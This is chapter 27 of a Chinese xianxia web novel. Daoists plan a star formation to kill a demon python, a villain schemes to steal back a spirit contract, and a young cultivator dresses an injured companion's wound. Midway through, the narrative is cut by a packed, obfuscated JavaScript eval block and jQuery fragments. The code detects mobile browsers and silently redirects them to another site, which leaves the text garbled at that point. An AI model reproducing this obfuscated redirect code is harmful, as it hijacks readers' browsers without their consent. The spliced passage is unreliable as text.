27. 第二十七章 七星邀月阵

    暮色四合,天边日月交替,昏黄的空中就像是别笼罩了一层烟纱,看不透彻远际的群山。


    屋里方道长点亮屋里油灯。


    李有崖坐在木桌前,借着灯亮捏笔在纸上弯弯绕绕地勾勒出一副星宿图来,又在星位之间连出复杂的符纹。


    “月圆之夜山林灵气最为充盈。”他手指又挪到青城山地图上一处位置,示意一旁祝姝和方有山,“青城山腹地亦是灵脉之气最足的地方,若是此处设下锁妖阵,借太阴星力镇压妖蟒,再汇聚咱们几人之力压制妖蟒七寸,恐能除掉妖蟒。”


    方道长蹙眉沉吟:“若我记得没错,你说的怕是七星邀月阵?此阵需引动地脉灵气,若妖蟒挣扎过甚,恐怕..."


    “所以要在明夜子时,月华最盛时动手。”李有崖说,他指尖顺着星阵图游走,“我与祝姝届时各守天枢、天璇两位,师兄你镇守阵眼,也就是太阴位,如此一来妖蟒必不会反动。”


    夜风穿过竹林发出簌簌声响,不远处又传来躁动不安的妖蟒撞击阵法的闷响。


    李有崖听见这动静,忽然抬头望向方有山:“三年前师父带着咱们在世历练时,就曾借用此阵诛杀过一只千年修行的狐妖…”他又开朗地笑笑:“没想到三年后的今日,咱们师兄弟又得了这么一遭。”


    方有山似是回忆起来:“当年师父设下此阵,损耗了不少精气,闭关了许久才恢复过来,希望明日一切顺利。”他语气有些沉重,或许还藏了些烦心事在心中。


    “方道长不必担忧,届时我定会守阵以待,绝不让这吃人的妖蟒再危害一方。”


    三人又接着明日计划,安排了各处细节,屋外夜色越加浓郁起来,高耸的月亮稍显圆润,只待明夜彻底化为白玉盘,撒下玉色。


    直到后半夜,祝姝才回房,荣青瞪着俩大眼睛似猫儿一样,亮闪闪的两只眼珠子在黑夜发着精光。


    “嚯,你怎么大半夜还不睡。”祝姝给她吓了一跳。


    荣青不好意思地笑笑:“白日里睡太多了…这不就等你回来嘛。”她蒙着被子盘起腿,又好奇地问:“祝姝姐,你们商量的结果如何?”


    祝姝摸黑走到床前坐下,叽里咕噜地把三人在方有山房里计划的七星邀月阵简单地复述了遍。


    “这么厉害!”荣青小声地惊呼,生怕打扰到其他房里的人,“那这样的话,明夜我也去守阵。”


    祝姝竖起手指在荣青额头上敲了个钉锤:“小丫头,你想什么呢?守阵需要耗费大量元气灵力,你如今还未恢复,就不要去凑一榔头了。”


    “可是…”荣青还想说几句。


    祝姝一个巴掌拍她肩膀上,嘴里哄着:“好啦好啦,快睡吧,熬个大半夜可累死我了。”


    荣青被她摁在床上,俩眼睛炯炯有神地望向祝姝:“祝姝姐,我没关系的,多一个我就多份力!”


    “别…多你一个不多,少你一个不少,你现在要紧的是,赶紧把身体养好。”祝姝顿了顿,又似是调侃一样:“你就留在观里,潮生兄弟还需要你来照看。”


    荣青小声嘟囔:“谁想照看他了…”


    祝姝拍了拍荣青身上的被子,越发像哄小孩一样:“乖点,别让咱做哥哥姐姐的操心涩。”


    哥哥姐姐…本来慢慢黯淡下去的眼神,又一下子亮起来。


    听见这话的荣青,心里生出暖意,从小到大,身边只有师父关心她,李有崖和祝姝虚长他们几岁,又一同经历了这些生死,可不就是像血溶于水的家人一般。


    思及此,荣青双眼朦胧,想到明夜伏妖虽然稳固,但若有惊险发生……


    她嘴里模糊不清:“我还是要去的。”


    “什么?”祝姝没听清,但荣青两眼一闭,很快就昏睡过去。


    祝姝掖了掖盖在荣青身上的被角,随后也脱衣上榻,倒头睡去。


    夜色浓云被风吹拂,渐渐遮盖住月亮,万籁俱寂的大地上昏暗无光,广都城里的打更人敲过四更声响。


    梆子一敲,声音响彻大街小巷。


    夹杂在梆声里的,还有窃窃私语的谈话声。


    陈友儒坐在雕花太师椅上,与先前面对贾玉良畏畏缩缩的窝囊模样不同,他心定神闲地喝着茶:“贾道长,”


    瞧见贾玉良这般灰心落魄的模样,又结合白日里他急不可耐地要衙差上青城山捉人,陈友儒心里料定贾玉良肯定是失了那个能驱使妖怪的宝物。


    虽然未曾亲眼见过贾玉良是如何驱使妖怪的,可他并不在意这些。


    贾玉良如今只是个没宝物傍身的普通人罢了,而他还是这广都城的知府,碾死贾玉良不就跟碾死一只蚂蚁一般。


    杀了贾玉良,就没有人知道陈友儒做的事儿了。


    他如此想着,缓缓喝了口茶水,眼睛里的杀意隐于眸中。


    贾玉良有些发狂,完全没有察觉到陈友儒对他心态转变,他手指着陈友儒:“陈友儒,你少在这里说风凉话,你以为没了我的帮助,还能在广都城立势?”


    陈友儒假意稳住他:“诶,贾道长你莫说这些话哦,我是一城知府,本就不需要他人来帮我立威。”


    贾玉良眯起眼睛望向如今神色狡黠的陈友儒,心里猜到这人怕是要卸磨杀驴。


    他内心升起一个想法,再回道观偷盗通灵宝契。


    “陈友儒,你等着。”贾玉良说完,转身离开。


    陈友儒看他远去的身影,轻轻摇晃脑袋,果然还是拿捏人的时候,这心里最是舒畅。


    时间过得很快,天之将晓时,鸡鸣声连连响起。青城山上第一道霞光透过雾蒙蒙的天际线,照射下来。


    离青城山道观不远的那处果园子里,传来些许狗叫声。


    贾玉良奔袭在果园里,一边躲着追逐而来的狗子,一边顺手薅下果子塞进嘴里。


    “狗东西,追你大爷的,给老子爬远点。”他双手掐了个诀,重重打在黄色土狗身上,那狗子骤然被击倒在地,四脚抽搐后,呜咽一声,嗝屁归天。


    贾玉良眼睛发红,浑身沾满草屑,连夜爬上青城山,丝毫没感觉到疲惫。


    他悄无声息地躲藏在道观后面菜园子的草屋里,小心翼翼地听着外面的声动。


    “善渊,今日你留在道观,小心行事,若有访客上山,只管告知他们说今日休闭,恕不接客。”飞廉向身后善渊吩咐。


    是飞廉,贾玉良咬碎银牙,若不是当初他如此冤枉自己,他又何苦落下这种场面。


    贾玉良心中恨极,他耳朵贴在木门上,善渊声音很轻,听不透彻。


    善渊恭敬道:“大师兄,师父说那妖蟒凶极,你们在林中布阵可得小心。”


    可他还是听到“妖蟒”“布阵”几字。


    贾玉良心中震惊,难不成师父要杀了妖蟒?


    为更好地驱使妖蟒,妖蟒和他结的是命契,若妖蟒死了,那他也不能独活,一咬牙一跺脚,他下定决心先偷回通灵宝契,接着再放了妖蟒,然后找机会杀了荣青几人。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382497|166294||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    至于方有山他们,若是有通灵宝契在手,这青城山道观都是他的,还怕他们会伤害自己不成?


    贾玉良神色癫狂,眼低全是欲望。


    日头高高挂起,树上的知了已经叫翻了天,炙热灼目的阳光从窗户里照进来,荣青被晒得不舒服,她翻了个身,身边祝姝的位置已经空了,床榻上十分温凉。


    荣青坐起身来发呆,想到祝姝昨夜里说的话,她恐怕是一早就起床去山里布阵了。


    她揉揉乱蓬蓬的头发,想到还在昏睡的随潮生,扒拉床头挂着的衣衫,飞快穿上身。


    “吱嘎”一声,荣青随心所欲地推开门,随潮生坐在床头,半褪衣衫,露出精壮的胳膊和胸膛。


    荣青和随潮生大眼瞪小眼,两人耳畔不约而同爬起一抹绯色。


    随潮生故作自然地合上衣服,干咳一声:“你来干嘛?”


    荣青干巴巴地尬笑:“看你醒没醒。”


    前天还有昨天,也不是没见过他袒胸露背的样子,可那时候人是昏着的,就像看木头桩子一样。


    现在人醒着,活生生的模样到让人看得脸红心跳。


    “啧…”随潮生意欲抬手,伤口拉扯出来的疼痛,让他紧皱起眉眼,也忍不住叹一声。


    荣青望过去,突然想到梦里面,随潮生撕心裂肺喊他母亲的模样。


    心里酸涩一片,如今他扯着自己伤口的模样,让人看了还是有些怜爱。


    没了母亲在身旁,想来他一路走来肯定辛苦,虽然自己也没父母,可她却无所谓。


    未曾拥有和拥有过后惨遭失去,哪一种更痛苦,不言而喻。


    她起身走过去:“你是不是想敷药啊,我来帮你吧。”


    “谁要你帮了?”随潮生把脸扭过去,不让荣青瞧见自己脸色。


    “你害羞啊?”荣青弯腰低头看他,大眼睛扑闪扑闪,“我都不羞,反正前两日把你浑身都看了个边,敷药而已,咱们修行之人不拘小节。”


    随潮生似是脑羞嗔怒,咬牙切齿:“姑娘家家,不害臊。”


    “嘿。”荣青双手叉腰,“你这人如此别扭,还在乎这些有的没的,你难道不想快点把伤养好?”


    “省得让李大哥和祝姝姐在林中里布阵还得分心让我照顾你。”荣青嘟起嘴来,似乎在怨祝姝早起布阵没叫自己。


    随潮生抬头看她:“布阵?”


    荣青点点头,叽叽喳喳地张牙舞爪把昨夜李有崖他们的计划说了出来。


    随潮生听完,脸上神情复杂,像是在脑海中劝服自己,他牙一咬,视死如归般扯下右边衣服,转过身去背对荣青,嘴里说:“你动作麻利点。”


    荣青笑他拧巴,手上动作却不停。


    少女温热的指尖在少年精瘦健壮的胳膊上来回涂抹,那道妖蟒咬伤的血口,已经在慢慢结痂,只是黑绿色的纹路还有些明显,估摸着得要个几日才能完全消退。


    身上传来的触感,让随潮生觉得有些发痒,就像是被小虫子在身上乱爬一样,找不到发泄点,抓不住踪迹,最后爬到心间,又变成慰籍。


    他有些慌乱的气息,慢慢平稳下来,有些不明的情绪在心头种下,悄无声息,无法言喻。


    “好了!”荣青顺手在绑带上系了个好看的结。


    随潮生看她一眼,慢吞吞穿上衣服,神色不算太难看,但也不算好看。


    “你走吧…”随潮生说。


    “……”荣青瞪他,连“谢”字都不说的。